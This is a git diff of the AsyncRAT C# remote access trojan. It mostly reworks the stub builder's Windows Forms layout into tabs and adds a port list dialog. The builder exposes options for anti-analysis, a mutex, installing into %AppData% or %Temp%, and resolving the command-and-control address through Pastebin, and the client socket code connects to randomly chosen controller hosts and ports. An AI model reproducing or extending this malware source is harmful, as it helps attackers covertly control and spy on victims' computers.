diff --git a/.gitignore b/.gitignore index 4d13c54..77c01f4 100644 --- a/.gitignore +++ b/.gitignore @@ -27,6 +27,7 @@ bld/ # Visual Studio 2015/2017 cache/options directory .vs/ +Binaries/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 8218177..c8abfc3 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -82,7 +82,6 @@ namespace AsyncRAT_Sharp using (FormPorts portsFrm = new FormPorts()) { portsFrm.ShowDialog(); - Settings.Port = portsFrm.textPorts.Text; } Properties.Settings.Default.Reload(); @@ -99,7 +98,7 @@ namespace AsyncRAT_Sharp { try { - string[] ports = Settings.Port.Split(','); + string[] ports = Properties.Settings.Default.Ports.Split(','); foreach (var port in ports) { if (!string.IsNullOrWhiteSpace(port)) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs index dbe4552..5b717cf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.Designer.cs @@ -50,17 +50,24 @@ namespace AsyncRAT_Sharp.Forms this.label5 = new System.Windows.Forms.Label(); this.chkAnti = new System.Windows.Forms.CheckBox(); this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.tabPage3 = new System.Windows.Forms.TabPage(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.tabPage3.SuspendLayout(); this.SuspendLayout(); // // button1 // - this.button1.Location = new System.Drawing.Point(11, 502); - this.button1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.button1.Location = new System.Drawing.Point(6, 236); this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(293, 32); + this.button1.Size = new System.Drawing.Size(440, 49); this.button1.TabIndex = 0; this.button1.Text = "Build"; this.button1.UseVisualStyleBackColor = true; @@ -75,11 +82,9 @@ namespace AsyncRAT_Sharp.Forms this.groupBox1.Controls.Add(this.textIP); this.groupBox1.Controls.Add(this.label2); this.groupBox1.Controls.Add(this.label1); - this.groupBox1.Location = new System.Drawing.Point(11, 8); - this.groupBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.groupBox1.Location = new System.Drawing.Point(6, 19); this.groupBox1.Name = "groupBox1"; - this.groupBox1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); - this.groupBox1.Size = new System.Drawing.Size(293, 183); + this.groupBox1.Size = new System.Drawing.Size(440, 282); this.groupBox1.TabIndex = 1; this.groupBox1.TabStop = false; this.groupBox1.Text = "Connection"; @@ -87,10 +92,9 @@ namespace AsyncRAT_Sharp.Forms // chkPastebin // this.chkPastebin.AutoSize = true; - this.chkPastebin.Location = new System.Drawing.Point(176, 107); - this.chkPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.chkPastebin.Location = new System.Drawing.Point(264, 165); this.chkPastebin.Name = "chkPastebin"; - this.chkPastebin.Size = new System.Drawing.Size(89, 17); + this.chkPastebin.Size = new System.Drawing.Size(130, 24); this.chkPastebin.TabIndex = 9; this.chkPastebin.Text = "Use Pastebin"; this.toolTip1.SetToolTip(this.chkPastebin, "IP:PORT .. Example 127.0.0.1:6606"); @@ -101,10 +105,9 @@ namespace AsyncRAT_Sharp.Forms // this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtPastebin.Enabled = false; - this.txtPastebin.Location = new System.Drawing.Point(71, 130); - this.txtPastebin.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.txtPastebin.Location = new System.Drawing.Point(106, 200); this.txtPastebin.Name = "txtPastebin"; - this.txtPastebin.Size = new System.Drawing.Size(182, 20); + this.txtPastebin.Size = new System.Drawing.Size(271, 26); this.txtPastebin.TabIndex = 8; this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin; this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606"); @@ -112,48 +115,45 @@ namespace AsyncRAT_Sharp.Forms // label6 // this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(9, 132); - this.label6.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label6.Location = new System.Drawing.Point(14, 203); this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(48, 13); + this.label6.Size = new System.Drawing.Size(71, 20); this.label6.TabIndex = 7; this.label6.Text = "Pastebin"; // // textPort // - this.textPort.Location = new System.Drawing.Point(71, 64); - this.textPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.textPort.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Ports", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.textPort.Location = new System.Drawing.Point(106, 98); this.textPort.Name = "textPort"; - this.textPort.Size = new System.Drawing.Size(182, 20); + this.textPort.Size = new System.Drawing.Size(271, 26); this.textPort.TabIndex = 6; + this.textPort.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Ports; // // textIP // this.textIP.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "IP", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); - this.textIP.Location = new System.Drawing.Point(71, 27); - this.textIP.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.textIP.Location = new System.Drawing.Point(106, 42); this.textIP.Name = "textIP"; - this.textIP.Size = new System.Drawing.Size(182, 20); + this.textIP.Size = new System.Drawing.Size(271, 26); this.textIP.TabIndex = 5; this.textIP.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.IP; // // label2 // this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(9, 66); - this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label2.Location = new System.Drawing.Point(14, 102); this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(26, 13); + this.label2.Size = new System.Drawing.Size(38, 20); this.label2.TabIndex = 3; this.label2.Text = "Port"; // // label1 // this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(9, 29); - this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label1.Location = new System.Drawing.Point(14, 45); this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(17, 13); + this.label1.Size = new System.Drawing.Size(24, 20); this.label1.TabIndex = 4; this.label1.Text = "IP"; // @@ -164,11 +164,9 @@ namespace AsyncRAT_Sharp.Forms this.groupBox2.Controls.Add(this.textFilename); this.groupBox2.Controls.Add(this.label3); this.groupBox2.Controls.Add(this.label4); - this.groupBox2.Location = new System.Drawing.Point(11, 214); - this.groupBox2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.groupBox2.Location = new System.Drawing.Point(6, 17); this.groupBox2.Name = "groupBox2"; - this.groupBox2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); - this.groupBox2.Size = new System.Drawing.Size(293, 137); + this.groupBox2.Size = new System.Drawing.Size(440, 211); this.groupBox2.TabIndex = 7; this.groupBox2.TabStop = false; this.groupBox2.Text = "Install"; @@ -181,19 +179,17 @@ namespace AsyncRAT_Sharp.Forms this.comboBoxFolder.Items.AddRange(new object[] { "%AppData%", "%Temp%"}); - this.comboBoxFolder.Location = new System.Drawing.Point(71, 97); - this.comboBoxFolder.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.comboBoxFolder.Location = new System.Drawing.Point(106, 149); this.comboBoxFolder.Name = "comboBoxFolder"; - this.comboBoxFolder.Size = new System.Drawing.Size(182, 21); + this.comboBoxFolder.Size = new System.Drawing.Size(271, 28); this.comboBoxFolder.TabIndex = 8; // // checkBox1 // this.checkBox1.AutoSize = true; - this.checkBox1.Location = new System.Drawing.Point(12, 26); - this.checkBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.checkBox1.Location = new System.Drawing.Point(18, 40); this.checkBox1.Name = "checkBox1"; - this.checkBox1.Size = new System.Drawing.Size(46, 17); + this.checkBox1.Size = new System.Drawing.Size(67, 24); this.checkBox1.TabIndex = 7; this.checkBox1.Text = "OFF"; this.checkBox1.UseVisualStyleBackColor = true; @@ -203,30 +199,27 @@ namespace AsyncRAT_Sharp.Forms // this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.textFilename.Enabled = false; - this.textFilename.Location = new System.Drawing.Point(71, 60); - this.textFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.textFilename.Location = new System.Drawing.Point(106, 92); this.textFilename.Name = "textFilename"; - this.textFilename.Size = new System.Drawing.Size(182, 20); + this.textFilename.Size = new System.Drawing.Size(271, 26); this.textFilename.TabIndex = 5; this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename; // // label3 // this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(9, 99); - this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label3.Location = new System.Drawing.Point(14, 152); this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(36, 13); + this.label3.Size = new System.Drawing.Size(54, 20); this.label3.TabIndex = 3; this.label3.Text = "Folder"; // // label4 // this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(9, 62); - this.label4.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label4.Location = new System.Drawing.Point(14, 95); this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(49, 13); + this.label4.Size = new System.Drawing.Size(74, 20); this.label4.TabIndex = 4; this.label4.Text = "Filename"; // @@ -235,11 +228,9 @@ namespace AsyncRAT_Sharp.Forms this.groupBox3.Controls.Add(this.txtMutex); this.groupBox3.Controls.Add(this.label5); this.groupBox3.Controls.Add(this.chkAnti); - this.groupBox3.Location = new System.Drawing.Point(11, 378); - this.groupBox3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.groupBox3.Location = new System.Drawing.Point(6, 17); this.groupBox3.Name = "groupBox3"; - this.groupBox3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); - this.groupBox3.Size = new System.Drawing.Size(293, 113); + this.groupBox3.Size = new System.Drawing.Size(440, 174); this.groupBox3.TabIndex = 9; this.groupBox3.TabStop = false; this.groupBox3.Text = "MISC"; @@ -247,45 +238,83 @@ namespace AsyncRAT_Sharp.Forms // txtMutex // this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); - this.txtMutex.Location = new System.Drawing.Point(71, 64); - this.txtMutex.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.txtMutex.Location = new System.Drawing.Point(106, 98); this.txtMutex.Name = "txtMutex"; - this.txtMutex.Size = new System.Drawing.Size(182, 20); + this.txtMutex.Size = new System.Drawing.Size(271, 26); this.txtMutex.TabIndex = 11; this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex; // // label5 // this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(9, 66); - this.label5.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label5.Location = new System.Drawing.Point(14, 102); this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(36, 13); + this.label5.Size = new System.Drawing.Size(52, 20); this.label5.TabIndex = 10; this.label5.Text = "Mutex"; // // chkAnti // this.chkAnti.AutoSize = true; - this.chkAnti.Location = new System.Drawing.Point(14, 26); - this.chkAnti.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); + this.chkAnti.Location = new System.Drawing.Point(21, 40); this.chkAnti.Name = "chkAnti"; - this.chkAnti.Size = new System.Drawing.Size(85, 17); + this.chkAnti.Size = new System.Drawing.Size(125, 24); this.chkAnti.TabIndex = 9; this.chkAnti.Text = "Anti Analysis"; this.chkAnti.UseVisualStyleBackColor = true; // + // tabControl1 + // + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Location = new System.Drawing.Point(12, 12); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(556, 421); + this.tabControl1.TabIndex = 10; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.groupBox1); + this.tabPage1.Location = new System.Drawing.Point(4, 29); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(548, 388); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Connection"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.groupBox2); + this.tabPage2.Location = new System.Drawing.Point(4, 29); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(548, 388); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "Install"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.groupBox3); + this.tabPage3.Controls.Add(this.button1); + this.tabPage3.Location = new System.Drawing.Point(4, 29); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Padding = new System.Windows.Forms.Padding(3); + this.tabPage3.Size = new System.Drawing.Size(548, 388); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Misc"; + this.tabPage3.UseVisualStyleBackColor = true; + // // FormBuilder // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(313, 544); - this.Controls.Add(this.groupBox3); - this.Controls.Add(this.groupBox2); - this.Controls.Add(this.groupBox1); - this.Controls.Add(this.button1); + this.ClientSize = new System.Drawing.Size(580, 445); + this.Controls.Add(this.tabControl1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2); this.Name = "FormBuilder"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.Text = "Builder"; @@ -296,6 +325,10 @@ namespace AsyncRAT_Sharp.Forms this.groupBox2.PerformLayout(); this.groupBox3.ResumeLayout(false); this.groupBox3.PerformLayout(); + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); this.ResumeLayout(false); } @@ -322,5 +355,9 @@ namespace AsyncRAT_Sharp.Forms private System.Windows.Forms.CheckBox chkPastebin; private System.Windows.Forms.Label label6; private System.Windows.Forms.ToolTip toolTip1; + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 66ddb85..72e2941 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -84,7 +84,6 @@ namespace AsyncRAT_Sharp.Forms private void Builder_Load(object sender, EventArgs e) { comboBoxFolder.SelectedIndex = 0; - textPort.Text = Settings.Port; if (Properties.Settings.Default.IP.Length == 0) textIP.Text = "127.0.0.1,127.0.0.1"; if (Properties.Settings.Default.Pastebin.Length == 0) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs index dd4c167..bea9648 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs @@ -28,31 +28,32 @@ namespace AsyncRAT_Sharp.Forms { await Task.Run(() => { - try - { - string backup = Application.StartupPath + "\\BackupCertificate.zip"; - if (File.Exists(backup)) - { - MessageBox.Show(this, "Found a zip backup, Extracting (BackupCertificate.zip)", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); - ZipFile.ExtractToDirectory(backup, Application.StartupPath); - Settings.ServerCertificate = new X509Certificate2(Settings.CertificatePath); - return; + try + { + string backup = Application.StartupPath + "\\BackupCertificate.zip"; + if (File.Exists(backup)) + { + MessageBox.Show(this, "Found a zip backup, Extracting (BackupCertificate.zip)", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); + ZipFile.ExtractToDirectory(backup, Application.StartupPath); + Settings.ServerCertificate = new X509Certificate2(Settings.CertificatePath); + return; + } + + Settings.ServerCertificate = CreateCertificateAuthority("AsyncRAT Server CA", 4096); + File.WriteAllBytes(Settings.CertificatePath, Settings.ServerCertificate.Export(X509ContentType.Pkcs12)); + + using (ZipArchive archive = ZipFile.Open(backup, ZipArchiveMode.Create)) + { + archive.CreateEntryFromFile(Settings.CertificatePath, Path.GetFileName(Settings.CertificatePath)); + } + MessageBox.Show(this, "Created a ZIP backup (BackupCertificate.zip)", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show(this, ex.Message, "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + Environment.Exit(0); } - Settings.ServerCertificate = CreateCertificateAuthority("AsyncRAT Server CA", 4096); - File.WriteAllBytes(Settings.CertificatePath, Settings.ServerCertificate.Export(X509ContentType.Pkcs12)); - - using (ZipArchive archive = ZipFile.Open(backup, ZipArchiveMode.Create)) - { - archive.CreateEntryFromFile(Settings.CertificatePath, Path.GetFileName(Settings.CertificatePath)); - } - MessageBox.Show(this, "Created a ZIP backup (BackupCertificate.zip)", "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); - } - catch (Exception ex) - { - MessageBox.Show(this, ex.Message, "Certificate", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); - Environment.Exit(0); - } }); this.Close(); } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs index 2d66640..9555213 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs @@ -29,18 +29,31 @@ private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormPorts)); + this.button1 = new System.Windows.Forms.Button(); this.textPorts = new System.Windows.Forms.TextBox(); this.label1 = new System.Windows.Forms.Label(); this.groupBox1 = new System.Windows.Forms.GroupBox(); - this.button1 = new System.Windows.Forms.Button(); + this.listBox1 = new System.Windows.Forms.ListBox(); + this.btnDelete = new System.Windows.Forms.Button(); + this.btnAdd = new System.Windows.Forms.Button(); this.groupBox1.SuspendLayout(); this.SuspendLayout(); // + // button1 + // + this.button1.Location = new System.Drawing.Point(23, 237); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(378, 50); + this.button1.TabIndex = 0; + this.button1.Text = "Start AsyncRAT"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // // textPorts // - this.textPorts.Location = new System.Drawing.Point(129, 48); + this.textPorts.Location = new System.Drawing.Point(82, 48); this.textPorts.Name = "textPorts"; - this.textPorts.Size = new System.Drawing.Size(423, 26); + this.textPorts.Size = new System.Drawing.Size(164, 26); this.textPorts.TabIndex = 0; // // label1 @@ -54,30 +67,52 @@ // // groupBox1 // + this.groupBox1.Controls.Add(this.listBox1); + this.groupBox1.Controls.Add(this.btnDelete); + this.groupBox1.Controls.Add(this.btnAdd); this.groupBox1.Controls.Add(this.label1); this.groupBox1.Controls.Add(this.textPorts); this.groupBox1.Location = new System.Drawing.Point(13, 13); this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(558, 111); + this.groupBox1.Size = new System.Drawing.Size(401, 198); this.groupBox1.TabIndex = 2; this.groupBox1.TabStop = false; this.groupBox1.Text = "Settings"; // - // button1 + // listBox1 // - this.button1.Location = new System.Drawing.Point(23, 146); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(542, 50); - this.button1.TabIndex = 0; - this.button1.Text = "Start AsyncRAT"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new System.EventHandler(this.button1_Click); + this.listBox1.FormattingEnabled = true; + this.listBox1.ItemHeight = 20; + this.listBox1.Location = new System.Drawing.Point(82, 99); + this.listBox1.Name = "listBox1"; + this.listBox1.Size = new System.Drawing.Size(164, 84); + this.listBox1.TabIndex = 4; + // + // btnDelete + // + this.btnDelete.Location = new System.Drawing.Point(301, 55); + this.btnDelete.Name = "btnDelete"; + this.btnDelete.Size = new System.Drawing.Size(57, 23); + this.btnDelete.TabIndex = 3; + this.btnDelete.Text = "-"; + this.btnDelete.UseVisualStyleBackColor = true; + this.btnDelete.Click += new System.EventHandler(this.BtnDelete_Click); + // + // btnAdd + // + this.btnAdd.Location = new System.Drawing.Point(301, 26); + this.btnAdd.Name = "btnAdd"; + this.btnAdd.Size = new System.Drawing.Size(57, 23); + this.btnAdd.TabIndex = 2; + this.btnAdd.Text = "+"; + this.btnAdd.UseVisualStyleBackColor = true; + this.btnAdd.Click += new System.EventHandler(this.BtnAdd_Click); // // FormPorts // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(583, 226); + this.ClientSize = new System.Drawing.Size(450, 333); this.Controls.Add(this.button1); this.Controls.Add(this.groupBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); @@ -96,9 +131,12 @@ } #endregion - private System.Windows.Forms.Label label1; - private System.Windows.Forms.GroupBox groupBox1; private System.Windows.Forms.Button button1; public System.Windows.Forms.TextBox textPorts; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.ListBox listBox1; + private System.Windows.Forms.Button btnDelete; + private System.Windows.Forms.Button btnAdd; } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs index 0390c82..ec7f808 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs @@ -20,9 +20,10 @@ namespace AsyncRAT_Sharp.Forms { Methods.FadeIn(this, 5); - textPorts.Text = "6606, 7707, 8808"; - if (Properties.Settings.Default.Ports.Length > 0) - textPorts.Text = Properties.Settings.Default.Ports; + if (Properties.Settings.Default.Ports.Length == 0) + { + listBox1.Items.AddRange(new object[] { "6606", "7707", "8808" }); + } this.Text = $"{Settings.Version} | Welcome {Environment.UserName}"; @@ -37,13 +38,29 @@ namespace AsyncRAT_Sharp.Forms { Settings.ServerCertificate = new X509Certificate2(Settings.CertificatePath); } + + try + { + string[] ports = Properties.Settings.Default.Ports.Split(new[] { "," }, StringSplitOptions.None); + foreach (string item in ports) + { + if (!string.IsNullOrWhiteSpace(item)) + listBox1.Items.Add(item.Trim()); + } + } + catch { } } private void button1_Click(object sender, EventArgs e) { - if (textPorts.Text.Length > 0) + if (listBox1.Items.Count > 0) { - Properties.Settings.Default.Ports = textPorts.Text; + string ports = ""; + foreach (string item in listBox1.Items) + { + ports += item + ","; + } + Properties.Settings.Default.Ports = ports.Remove(ports.Length - 1); Properties.Settings.Default.Save(); isOK = true; this.Close(); @@ -53,7 +70,26 @@ namespace AsyncRAT_Sharp.Forms private void PortsFrm_FormClosed(object sender, FormClosedEventArgs e) { if (!isOK) + { + Program.form1.notifyIcon1.Dispose(); Environment.Exit(0); + } + } + + private void BtnAdd_Click(object sender, EventArgs e) + { + try + { + Convert.ToInt16(textPorts.Text.Trim()); + listBox1.Items.Add(textPorts.Text.Trim()); + textPorts.Clear(); + } + catch { } + } + + private void BtnDelete_Click(object sender, EventArgs e) + { + listBox1.Items.Remove(listBox1.SelectedItem); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 66b76a1..2ef0358 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -11,7 +11,6 @@ namespace AsyncRAT_Sharp { public static List Online = new List(); public static List Blocked = new List(); - public static string Port { get; set; } public static long Sent { get; set; } public static long Received { get; set; } diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 70612e4..d4d3911 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -47,7 +47,7 @@ namespace Client.Sockets if (Settings.Pastebin == "null") { Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]), - Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); + Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); } else { @@ -59,7 +59,7 @@ namespace Client.Sockets string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); Settings.Hosts = spl[0]; Settings.Ports = spl[new Random().Next(1, spl.Length)]; - Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); + Client.Connect(Settings.Hosts, Convert.ToInt16(Settings.Ports)); } } if (Client.Connected)